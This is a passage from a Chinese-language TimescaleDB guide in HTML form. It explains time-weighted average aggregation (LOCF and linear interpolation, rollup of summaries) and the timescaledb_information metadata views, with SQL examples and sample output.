class="line">)</span><br><span class="line"><span class="keyword">SELECT</span></span><br><span class="line">    dt,</span><br><span class="line">    average(tw) <span class="comment">-- extract the average from the time weight summary</span></span><br><span class="line"><span class="keyword">FROM</span> t;</span><br></pre></td></tr></table></figure><h4 id="插值方法详细信息">插值方法详细信息</h4><p>离散时间值并不总是允许明显计算时间加权平均值。为了计算时间加权平均值，我们需要选择如何对每个值进行加权。我们目前使用的两种方法是最后一次观察结转（LOCF）和线性插值。</p><p>在 LOCF 方法中，该值被视为在看到下一个值之前保持不变。当传感器或测量设备仅在值发生变化时才发送测量值时，通常使用 LOCF 方法。</p><p>线性插值方法将任何两个测量值之间的值视为它们位于连接两个测量值的线上。线性插值方法用于解决传感器不提供任何保证的不规则采样数据。</p><h4 id="并行和排序">并行和排序</h4><p>我们执行的时间加权平均计算需要对输入进行严格排序，因此这些计算在严格的 Postgres 意义上是不可并行化的。这是因为当 Postgres 执行并行处理时，它会随机分发行，基本上就像它看到它们给工作人员一样。但是，如果您的并行性可以保证不相交（在时间上）的行集，则算法可以并行化，只要在某个时间范围内，所有行都转到同一个工作人员。连续聚合和分布式超表都是这种情况（只要分区键在 group by 中，尽管聚合本身没有其他意义）。</p><p>如果尝试组合重叠<code>TimeWeightSummaries</code>，我们会抛出错误，例如，在我们上面的示例中，如果您尝试组合跨<code>measure_ids</code>它的摘要 会出错。这是因为插值技术实际上只在由单个<code>measure_id</code>. 然而，鉴于产生的时间加权平均值是一个无量纲量，时间加权平均值的简单平均值应该更好地代表跨设备的变化，因此对于跨多个时间序列的基线之类的建议将类似于：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">WITH</span> t <span class="keyword">as</span> (<span class="keyword">SELECT</span> measure_id,</span><br><span class="line">        average(</span><br><span class="line">            time_weight(<span class="string">&#x27;LOCF&#x27;</span>, ts, val)</span><br><span class="line">        ) <span class="keyword">as</span> time_weighted_average</span><br><span class="line">    <span class="keyword">FROM</span> foo</span><br><span class="line">    <span class="keyword">GROUP</span> <span class="keyword">BY</span> measure_id)</span><br><span class="line"><span class="keyword">SELECT</span> <span class="built_in">avg</span>(time_weighted_average) <span class="comment">-- use the normal avg function to average our time weighted averages</span></span><br><span class="line"><span class="keyword">FROM</span> t;</span><br></pre></td></tr></table></figure><p>在内部，看到的第一个和最后一个点以及计算出的加权总和存储在每个点中，<code>TimeWeightSummary</code>并<code>TimeWeightSummary</code>在重新聚合或调用 Postgres 组合函数时用于与相邻点 组合。通常，这些函数在多节点上下文中支持部分聚合和分区聚合，但不可并行化（在 Postgres 意义上，这要求它们接受潜在的重叠输入）。</p><p>因为它们需要有序集，所以聚合建立了一个输入数据缓冲区，对它进行排序，然后执行适当的聚合步骤。在事实证明内存太小而无法建立导致 OOM 或其他问题的点缓冲区的情况下，多级聚合可能很有用。按照我们上面的例子：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">WITH</span> t <span class="keyword">as</span> (<span class="keyword">SELECT</span> measure_id,</span><br><span class="line">    time_bucket(<span class="string">&#x27;1 day&#x27;</span>::<span class="type">interval</span>, ts),</span><br><span class="line">    time_weight(<span class="string">&#x27;LOCF&#x27;</span>, ts, val)</span><br><span class="line">    <span class="keyword">FROM</span> foo</span><br><span class="line">    <span class="keyword">GROUP</span> <span class="keyword">BY</span> measure_id, time_bucket(<span class="string">&#x27;1 day&#x27;</span>::<span class="type">interval</span>, ts)</span><br><span class="line">    )</span><br><span class="line"><span class="keyword">SELECT</span> measure_id,</span><br><span class="line">    average(</span><br><span class="line">        <span class="keyword">rollup</span>(time_weight)</span><br><span class="line">    )</span><br><span class="line"><span class="keyword">FROM</span> t</span><br><span class="line"><span class="keyword">GROUP</span> <span class="keyword">BY</span> measure_id;</span><br></pre></td></tr></table></figure><h4 id="汇总-TimeWeightSummary">汇总 TimeWeightSummary</h4><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">WITH</span> t <span class="keyword">as</span> (</span><br><span class="line">    <span class="keyword">SELECT</span></span><br><span class="line">        date_trunc(<span class="string">&#x27;day&#x27;</span>, ts) <span class="keyword">as</span> dt,</span><br><span class="line">        time_weight(<span class="string">&#x27;Linear&#x27;</span>, ts, val) <span class="keyword">AS</span> tw <span class="comment">-- get a time weight summary</span></span><br><span class="line">    <span class="keyword">FROM</span> foo</span><br><span class="line">    <span class="keyword">WHERE</span> measure_id <span class="operator">=</span> <span class="number">10</span></span><br><span class="line">    <span class="keyword">GROUP</span> <span class="keyword">BY</span> date_trunc(<span class="string">&#x27;day&#x27;</span>, ts)</span><br><span class="line">), q <span class="keyword">as</span> (</span><br><span class="line">    <span class="keyword">SELECT</span> <span class="keyword">rollup</span>(tw) <span class="keyword">AS</span> full_tw <span class="comment">-- do a second level of aggregation to get the full time weighted average</span></span><br><span class="line">    <span class="keyword">FROM</span> t</span><br><span class="line">)</span><br><span class="line"><span class="keyword">SELECT</span></span><br><span class="line">    dt,</span><br><span class="line">    average(tw),  <span class="comment">-- extract the average from the time weight summary</span></span><br><span class="line">    average(tw) <span class="operator">/</span> (<span class="keyword">SELECT</span> average(full_tw) <span class="keyword">FROM</span> q LIMIT <span class="number">1</span>)  <span class="keyword">as</span> normalized <span class="comment">-- get the normalized average</span></span><br><span class="line"><span class="keyword">FROM</span> t;</span><br></pre></td></tr></table></figure><h4 id="平均数average">平均数average()</h4><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span></span><br><span class="line">    id,</span><br><span class="line">    average(tws)</span><br><span class="line"><span class="keyword">FROM</span> (</span><br><span class="line">    <span class="keyword">SELECT</span></span><br><span class="line">        id,</span><br><span class="line">        time_weight(<span class="string">&#x27;LOCF&#x27;</span>, ts, val) <span class="keyword">AS</span> tws</span><br><span class="line">    <span class="keyword">FROM</span> foo</span><br><span class="line">    <span class="keyword">GROUP</span> <span class="keyword">BY</span> id</span><br><span class="line">) t</span><br></pre></td></tr></table></figure><h2 id="十-信息视图">十.信息视图</h2><h4 id="获取有关超表块的元数据-timescaledb-information-chunks">获取有关超表块的元数据 timescaledb_information.chunks</h4><table><thead><tr><th style="text-align:left">列名</th><th style="text-align:left">类型</th><th style="text-align:left">描述</th></tr></thead><tbody><tr><td style="text-align:left"><code>hypertable_schema</code></td><td style="text-align:left">TEXT</td><td style="text-align:left">超表的架构名称</td></tr><tr><td style="text-align:left"><code>hypertable_name</code></td><td style="text-align:left">TEXT</td><td style="text-align:left">超表的表名</td></tr><tr><td style="text-align:left"><code>chunk_schema</code></td><td style="text-align:left">TEXT</td><td style="text-align:left">块的模式名称</td></tr><tr><td style="text-align:left"><code>chunk_name</code></td><td style="text-align:left">TEXT</td><td style="text-align:left">块的名称</td></tr><tr><td style="text-align:left"><code>primary_dimension</code></td><td style="text-align:left">TEXT</td><td style="text-align:left">作为主要维度的列的名称</td></tr><tr><td style="text-align:left"><code>primary_dimension_type</code></td><td style="text-align:left">REGTYPE</td><td style="text-align:left">作为主要维度的列的类型</td></tr><tr><td style="text-align:left"><code>range_start</code></td><td style="text-align:left">TIMESTAMP WITH TIME ZONE</td><td style="text-align:left">块尺寸范围的开始</td></tr><tr><td style="text-align:left"><code>range_end</code></td><td style="text-align:left">TIMESTAMP WITH TIME ZONE</td><td style="text-align:left">区块维度的范围结束</td></tr><tr><td style="text-align:left"><code>range_start_integer</code></td><td style="text-align:left">BIGINT</td><td style="text-align:left">块的维度范围的开始，如果维度类型是基于整数的</td></tr><tr><td style="text-align:left"><code>range_end_integer</code></td><td style="text-align:left">BIGINT</td><td style="text-align:left">块维度的范围结束，如果维度类型是基于整数的</td></tr><tr><td style="text-align:left"><code>is_compressed</code></td><td style="text-align:left">BOOLEAN</td><td style="text-align:left">块中的数据是否被压缩？  请注意，对于分布式超级表，这是访问节点上块的缓存压缩状态。在某些情况下，访问节点和数据节点上的缓存状态将不同步。例如，如果用户在数据节点而不是访问节点上压缩或解压缩块，或者直接在数据节点上设置压缩策略。  使用<code>chunk_compression_stats()</code>函数获取分布式块的实时压缩状态。</td></tr><tr><td style="text-align:left"><code>chunk_tablespace</code></td><td style="text-align:left">TEXT</td><td style="text-align:left">块使用的表空间</td></tr><tr><td style="text-align:left"><code>data_nodes</code></td><td style="text-align:left">ARRAY</td><td style="text-align:left">复制块的节点。这仅适用于分布式超表的块</td></tr></tbody></table><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> TABLESPACE tablespace1 location <span class="string">&#x27;/usr/local/pgsql/data1&#x27;</span>;</span><br><span class="line">  </span><br><span class="line"><span class="keyword">CREATE TABLE</span> hyper_int (a_col <span class="type">integer</span>, b_col <span class="type">integer</span>, c <span class="type">integer</span>);</span><br><span class="line"><span class="keyword">SELECT</span> table_name <span class="keyword">from</span> create_hypertable(<span class="string">&#x27;hyper_int&#x27;</span>, <span class="string">&#x27;a_col&#x27;</span>, chunk_time_interval<span class="operator">=</span><span class="operator">&gt;</span> <span class="number">10</span>);</span><br><span class="line"><span class="keyword">CREATE</span> <span class="keyword">OR</span> REPLACE <span class="keyword">FUNCTION</span> integer_now_hyper_int() <span class="keyword">returns</span> <span class="type">int</span> <span class="keyword">LANGUAGE</span> <span class="keyword">SQL</span> STABLE <span class="keyword">as</span> $$ <span class="keyword">SELECT</span> <span class="built_in">coalesce</span>(<span class="built_in">max</span>(a_col), <span class="number">0</span>) <span class="keyword">FROM</span> hyper_int $$;</span><br><span class="line"><span class="keyword">SELECT</span> set_integer_now_func(<span class="string">&#x27;hyper_int&#x27;</span>, <span class="string">&#x27;integer_now_hyper_int&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">INSERT INTO</span> hyper_int <span class="keyword">SELECT</span> generate_series(<span class="number">1</span>,<span class="number">5</span>,<span class="number">1</span>), <span class="number">10</span>, <span class="number">50</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">SELECT</span> attach_tablespace(<span class="string">&#x27;tablespace1&#x27;</span>, <span class="string">&#x27;hyper_int&#x27;</span>);</span><br><span class="line"><span class="keyword">INSERT INTO</span> hyper_int <span class="keyword">VALUES</span>( <span class="number">25</span> , <span class="number">14</span> , <span class="number">20</span>), ( <span class="number">25</span>, <span class="number">15</span>, <span class="number">20</span>), (<span class="number">25</span>, <span class="number">16</span>, <span class="number">20</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> timescaledb_information.chunks <span class="keyword">WHERE</span> hypertable_name <span class="operator">=</span> <span class="string">&#x27;hyper_int&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="operator">-</span>[ RECORD <span class="number">1</span> ]<span class="comment">----------+----------------------</span></span><br><span class="line">hypertable_schema      <span class="operator">|</span> public</span><br><span class="line">hypertable_name        <span class="operator">|</span> hyper_int</span><br><span class="line">chunk_schema           <span class="operator">|</span> _timescaledb_internal</span><br><span class="line">chunk_name             <span class="operator">|</span> _hyper_7_10_chunk</span><br><span class="line">primary_dimension      <span class="operator">|</span> a_col</span><br><span class="line">primary_dimension_type <span class="operator">|</span> <span class="type">integer</span></span><br><span class="line">range_start            <span class="operator">|</span> </span><br><span class="line">range_end              <span class="operator">|</span> </span><br><span class="line">range_start_integer    <span class="operator">|</span> <span class="number">0</span></span><br><span class="line">range_end_integer      <span class="operator">|</span> <span class="number">10</span></span><br><span class="line">is_compressed          <span class="operator">|</span> f</span><br><span class="line">chunk_tablespace       <span class="operator">|</span> </span><br><span class="line">data_nodes             <span class="operator">|</span> </span><br><span class="line"><span class="operator">-</span>[ RECORD <span class="number">2</span> ]<span class="comment">----------+----------------------</span></span><br><span class="line">hypertable_schema      <span class="operator">|</span> public</span><br><span class="line">hypertable_name        <span class="operator">|</span> hyper_int</span><br><span class="line">chunk_schema           <span class="operator">|</span> _timescaledb_internal</span><br><span class="line">chunk_name             <span class="operator">|</span> _hyper_7_11_chunk</span><br><span class="line">primary_dimension      <span class="operator">|</span> a_col</span><br><span class="line">primary_dimension_type <span class="operator">|</span> <span class="type">integer</span></span><br><span class="line">range_start            <span class="operator">|</span> </span><br><span class="line">range_end              <span class="operator">|</span> </span><br><span class="line">range_start_integer    <span class="operator">|</span> <span class="number">20</span></span><br><span class="line">range_end_integer      <span class="operator">|</span> <span class="number">30</span></span><br><span class="line">is_compressed          <span class="operator">|</span> f</span><br><span class="line">chunk_tablespace       <span class="operator">|</span> tablespace1</span><br><span class="line">data_nodes             <span class="operator">|</span></span><br></pre></td></tr></table></figure><h4 id="获取连续聚合的元数据和设置信息timescaledb-information-continuous-aggregates">获取连续聚合的元数据和设置信息timescaledb_information.continuous_aggregates</h4><table><thead><tr><th style="text-align:left">列名</th><th style="text-align:left">类型</th><th style="text-align:left">描述</th></tr></thead><tbody><tr><td style="text-align:left"><code>hypertable_schema</code></td><td style="text-align:left">TEXT</td><td style="text-align:left">连续聚合视图中超表的架构</td></tr><tr><td style="text-align:left"><code>hypertable_name</code></td><td style="text-align:left">TEXT</td><td style="text-align:left">连续聚合视图中超表的名称</td></tr><tr><td style="text-align:left"><code>view_schema</code></td><td style="text-align:left">TEXT</td><td style="text-align:left">连续聚合视图的架构</td></tr><tr><td style="text-align:left"><code>view_name</code></td><td style="text-align:left">TEXT</td><td style="text-align:left">用户提供的连续聚合视图名称</td></tr><tr><td style="text-align:left"><code>view_owner</code></td><td style="text-align:left">TEXT</td><td style="text-align:left">连续聚合视图的所有者</td></tr><tr><td style="text-align:left"><code>materialized_only</code></td><td style="text-align:left">BOOLEAN</td><td style="text-align:left">查询连续聚合视图时仅返回物化数据。</td></tr><tr><td style="text-align:left"><code>materialization_hypertable_schema</code></td><td style="text-align:left">TEXT</td><td style="text-align:left">底层物化表的架构</td></tr><tr><td style="text-align:left"><code>materialization_hypertable_name</code></td><td style="text-align:left">TEXT</td><td style="text-align:left">底层物化表的名称</td></tr><tr><td style="text-align:left"><code>view_definition</code></td><td style="text-align:left">TEXT</td><td style="text-align:left"><code>SELECT</code> 查询连续聚合视图</td></tr></tbody></table><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> timescaledb_information.continuous_aggregates;</span><br><span class="line"></span><br><span class="line"><span class="operator">-</span>[ RECORD <span class="number">1</span> ]<span class="comment">---------------------+-------------------------------------------------</span></span><br><span class="line">hypertable_schema                 <span class="operator">|</span> public</span><br><span class="line">hypertable_name                   <span class="operator">|</span> foo</span><br><span class="line">view_schema                       <span class="operator">|</span> public </span><br><span class="line">view_name                         <span class="operator">|</span> contagg_view</span><br><span class="line">view_owner                        <span class="operator">|</span> postgres</span><br><span class="line">materialized_only                 <span class="operator">|</span> f</span><br><span class="line">materialization_hypertable_schema <span class="operator">|</span> _timescaledb_internal</span><br><span class="line">materialization_hypertable_name   <span class="operator">|</span> _materialized_hypertable_2</span><br><span class="line">view_definition                   <span class="operator">|</span>  <span class="keyword">SELECT</span> foo.a,                                  <span class="operator">+</span></span><br><span class="line">                                  <span class="operator">|</span>     <span class="built_in">COUNT</span>(foo.b) <span class="keyword">AS</span> countb                      <span class="operator">+</span></span><br><span class="line">                                  <span class="operator">|</span>    <span class="keyword">FROM</span> foo                                     <span class="operator">+</span></span><br><span class="line">                                  <span class="operator">|</span>   <span class="keyword">GROUP</span> <span class="keyword">BY</span> (time_bucket(<span class="string">&#x27;1 day&#x27;</span>, foo.a)), foo.a;</span><br></pre></td></tr></table></figure><h4 id="获取有关-hypertables-的压缩相关设置的信息-timescaledb-information-compression-settings">获取有关 hypertables 的压缩相关设置的信息 timescaledb_information.compression_settings</h4><table><thead><tr><th style="text-align:left">列名</th><th style="text-align:left">类型</th><th style="text-align:left">描述</th></tr></thead><tbody><tr><td style="text-align:left"><code>hypertable_schema</code></td><td style="text-align:left">TEXT</td><td style="text-align:left">超表的架构名称</td></tr><tr><td style="text-align:left"><code>hypertable_name</code></td><td style="text-align:left">TEXT</td><td style="text-align:left">超表的表名</td></tr><tr><td style="text-align:left"><code>attname</code></td><td style="text-align:left">TEXT</td><td style="text-align:left">压缩设置中使用的列的名称</td></tr><tr><td style="text-align:left"><code>segmentby_column_index</code></td><td style="text-align:left">SMALLINT</td><td style="text-align:left">attname 在 compress_segmentby 列表中的位置</td></tr><tr><td style="text-align:left"><code>orderby_column_index</code></td><td style="text-align:left">SMALLINT</td><td style="text-align:left">attname 在 compress_orderby 列表中的位置</td></tr><tr><td style="text-align:left"><code>orderby_asc</code></td><td style="text-align:left">BOOLEAN</td><td style="text-align:left">如果这用于按 ASC 订购，则为 True，按 DESC 订购则为 False</td></tr><tr><td style="text-align:left"><code>orderby_nullsfirst</code></td><td style="text-align:left">BOOLEAN</td><td style="text-align:left">如果此列的空值首先排序，则为 True，如果空值最后排序，则为 False</td></tr></tbody></table><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> hypertab (a_col <span class="type">integer</span>, b_col <span class="type">integer</span>, c_col <span class="type">integer</span>, d_col <span class="type">integer</span>, e_col <span class="type">integer</span>);</span><br><span class="line"><span class="keyword">SELECT</span> table_name <span class="keyword">FROM</span> create_hypertable(<span class="string">&#x27;hypertab&#x27;</span>, <span class="string">&#x27;a_col&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">ALTER TABLE</span> hypertab <span class="keyword">SET</span> (timescaledb.compress, timescaledb.compress_segmentby <span class="operator">=</span> <span class="string">&#x27;a_col,b_col&#x27;</span>, </span><br><span class="line">  timescaledb.compress_orderby <span class="operator">=</span> <span class="string">&#x27;c_col desc, d_col asc nulls last&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> timescaledb_information.compression_settings <span class="keyword">WHERE</span> hypertable_name <span class="operator">=</span> <span class="string">&#x27;hypertab&#x27;</span>;</span><br><span class="line"></span><br><span class="line"> hypertable_schema <span class="operator">|</span> hypertable_name <span class="operator">|</span> attname <span class="operator">|</span> segmentby_column_index <span class="operator">|</span> orderby_column_in</span><br><span class="line">dex <span class="operator">|</span> orderby_asc <span class="operator">|</span> orderby_nullsfirst </span><br><span class="line"><span class="comment">-------------+------------+---------+------------------------+------------------</span></span><br><span class="line"><span class="comment">----+-------------+--------------------</span></span><br><span class="line"> public      <span class="operator">|</span> hypertab   <span class="operator">|</span> a_col   <span class="operator">|</span>                      <span class="number">1</span> <span class="operator">|</span></span><br><span class="line">    <span class="operator">|</span>             <span class="operator">|</span> </span><br><span class="line"> public      <span class="operator">|</span> hypertab   <span class="operator">|</span> b_col   <span class="operator">|</span>                      <span class="number">2</span> <span class="operator">|</span></span><br><span class="line">    <span class="operator">|</span>             <span class="operator">|</span> </span><br><span class="line"> public      <span class="operator">|</span> hypertab   <span class="operator">|</span> c_col   <span class="operator">|</span>                        <span class="operator">|</span></span><br><span class="line">  <span class="number">1</span> <span class="operator">|</span> f           <span class="operator">|</span> t</span><br><span class="line"> public      <span class="operator">|</span> hypertab   <span class="operator">|</span> d_col   <span class="operator">|</span>                        <span class="operator">|</span></span><br><span class="line">  <span class="number">2</span> <span class="operator">|</span> t           <span class="operator">|</span> f</span><br><span class="line">(<span class="number">4</span> <span class="keyword">rows</span>)</span><br></pre></td></tr></table></figure><h4 id="获取有关数据节点的信息-timescaledb-information-data-nodes">获取有关数据节点的信息 timescaledb_information.data_nodes</h4><table><thead><tr><th style="text-align:left">列名</th><th style="text-align:left">类型</th><th style="text-align:left">描述</th></tr></thead><tbody><tr><td style="text-align:left"><code>node_name</code></td><td style="text-align:left">TEXT</td><td style="text-align:left">数据节点名称。</td></tr><tr><td style="text-align:left"><code>owner</code></td><td style="text-align:left">REGCLASS</td><td style="text-align:left">添加数据节点的用户的 Oid。</td></tr><tr><td style="text-align:left"><code>options</code></td><td style="text-align:left">JSONB</td><td style="text-align:left">创建数据节点时使用的选项。</td></tr></tbody></table><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> timescaledb_information.data_nodes;</span><br><span class="line"></span><br><span class="line"> node_name    <span class="operator">|</span> owner      <span class="operator">|</span> options                        </span><br><span class="line"><span class="comment">--------------+------------+--------------------------------</span></span><br><span class="line"> dn1         <span class="operator">|</span> postgres   <span class="operator">|</span> &#123;host<span class="operator">=</span>localhost,port<span class="operator">=</span><span class="number">15431</span>,dbname<span class="operator">=</span>test&#125;   </span><br><span class="line"> dn2         <span class="operator">|</span> postgres   <span class="operator">|</span> &#123;host<span class="operator">=</span>localhost,port<span class="operator">=</span><span class="number">15432</span>,dbname<span class="operator">=</span>test&#125; </span><br><span class="line">(<span class="number">2</span> <span class="keyword">rows</span>)</span><br></pre></td></tr></table></figure><h4 id="获取有关超表的元数据信息-timescaledb-information-hypertables">获取有关超表的元数据信息 timescaledb_information.hypertables</h4><table><thead><tr><th style="text-align:left">列名</th><th style="text-align:left">类型</th><th style="text-align:left">描述</th></tr></thead><tbody><tr><td style="text-align:left"><code>hypertable_schema</code></td><td style="text-align:left">TEXT</td><td style="text-align:left">超表的架构名称</td></tr><tr><td style="text-align:left"><code>hypertable_name</code></td><td style="text-align:left">TEXT</td><td style="text-align:left">超表的表名</td></tr><tr><td style="text-align:left"><code>owner</code></td><td style="text-align:left">TEXT</td><td style="text-align:left">超级表的所有者</td></tr><tr><td style="text-align:left"><code>num_dimensions</code></td><td style="text-align:left">SMALLINT</td><td style="text-align:left">维数</td></tr><tr><td style="text-align:left"><code>num_chunks</code></td><td style="text-align:left">BIGINT</td><td style="text-align:left">块数</td></tr><tr><td style="text-align:left"><code>compression_enabled</code></td><td style="text-align:left">BOOLEAN</td><td style="text-align:left">是否在 hypertable 上启用了压缩？</td></tr><tr><td style="text-align:left"><code>is_distributed</code></td><td style="text-align:left">BOOLEAN</td><td style="text-align:left">hypertable 是分布式的吗？</td></tr><tr><td style="text-align:left"><code>replication_factor</code></td><td style="text-align:left">SMALLINT</td><td style="text-align:left">分布式超表的复制因子</td></tr><tr><td style="text-align:left"><code>data_nodes</code></td><td style="text-align:left">ARRAY</td><td style="text-align:left">分布超表的节点</td></tr><tr><td style="text-align:left"><code>tablespaces</code></td><td style="text-align:left">ARRAY</td><td style="text-align:left">附加到超表的表空间</td></tr></tbody></table><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> dist_table(<span class="type">time</span> timestamptz, device <span class="type">int</span>, temp <span class="type">float</span>);</span><br><span class="line"><span class="keyword">SELECT</span> create_distributed_hypertable(<span class="string">&#x27;dist_table&#x27;</span>, <span class="string">&#x27;time&#x27;</span>, <span class="string">&#x27;device&#x27;</span>, replication_factor <span class="operator">=</span><span class="operator">&gt;</span> <span class="number">2</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> timescaledb_information.hypertables</span><br><span class="line">  <span class="keyword">WHERE</span> hypertable_name <span class="operator">=</span> <span class="string">&#x27;dist_table&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="operator">-</span>[ RECORD <span class="number">1</span> ]<span class="comment">-------+-----------</span></span><br><span class="line">hypertable_schema   <span class="operator">|</span> public</span><br><span class="line">hypertable_name     <span class="operator">|</span> dist_table</span><br><span class="line">owner               <span class="operator">|</span> postgres </span><br><span class="line">num_dimensions      <span class="operator">|</span> <span class="number">2</span></span><br><span class="line">num_chunks          <span class="operator">|</span> <span class="number">3</span></span><br><span class="line">compression_enabled <span class="operator">|</span> f</span><br><span class="line">is_distributed      <span class="operator">|</span> t</span><br><span class="line">replication_factor  <span class="operator">|</span> <span class="number">2</span></span><br><span class="line">data_nodes          <span class="operator">|</span> &#123;node_1, node_2&#125;</span><br><span class="line">tablespaces         <span class="operator">|</span></span><br></pre></td></tr></table></figure><h4 id="获取有关超表维度的元数据，为超表的每个维度返回一行元数据-timescaledb-information-dimensions">获取有关超表维度的元数据，为超表的每个维度返回一行元数据 timescaledb_information.dimensions</h4><p>获取有关超表维度的元数据，为超表的每个维度返回一行元数据。例如，对于时间和空间分区的超表，将为超表返回两行元数据。</p><p>基于时间的维度列具有整数数据类型（bigint、integer、smallint）或与时间相关的数据类型（timestamptz、timestamp、date）。该<code>time_interval</code>列是为使用时间数据类型的超表定义的。或者，对于使用整数数据类型的超表，定义了<code>integer_interval</code>和<code>integer_now_func</code>列。</p><p>对于基于空间的维度，将返回指定其数量的元数据<code>num_partitions</code>。在<code>time_interval</code>与<code>integer_interval</code>列不适用于基于空间的尺寸。</p><table><thead><tr><th style="text-align:left">列名</th><th style="text-align:left">类型</th><th style="text-align:left">描述</th></tr></thead><tbody><tr><td style="text-align:left"><code>hypertable_schema</code></td><td style="text-align:left">TEXT</td><td style="text-align:left">超表的架构名称</td></tr><tr><td style="text-align:left"><code>hypertable_name</code></td><td style="text-align:left">TEXT</td><td style="text-align:left">超表的表名</td></tr><tr><td style="text-align:left"><code>dimension_number</code></td><td style="text-align:left">BIGINT</td><td style="text-align:left">hypertable 的维数，从 1 开始</td></tr><tr><td style="text-align:left"><code>column_name</code></td><td style="text-align:left">TEXT</td><td style="text-align:left">用于创建此维度的列的名称</td></tr><tr><td style="text-align:left"><code>column_type</code></td><td style="text-align:left">REGTYPE</td><td style="text-align:left">用于创建此维度的列的类型</td></tr><tr><td style="text-align:left"><code>dimension_type</code></td><td style="text-align:left">TEXT</td><td style="text-align:left">这是基于时间还是基于空间的维度？</td></tr><tr><td style="text-align:left"><code>time_interval</code></td><td style="text-align:left">INTERVAL</td><td style="text-align:left">如果列类型基于 Postgres 时间数据类型，则主维度的时间间隔</td></tr><tr><td style="text-align:left"><code>integer_interval</code></td><td style="text-align:left">BIGINT</td><td style="text-align:left">如果列类型是整数数据类型，则主维度的整数间隔</td></tr><tr><td style="text-align:left"><code>integer_now_func</code></td><td style="text-align:left">TEXT</td><td style="text-align:left">如果列类型是基于整数的数据类型，则用于主要维度的 integer_now 函数</td></tr><tr><td style="text-align:left"><code>num_partitions</code></td><td style="text-align:left">SMALLINT</td><td style="text-align:left">维度的分区数</td></tr></tbody></table><figure class="highlight 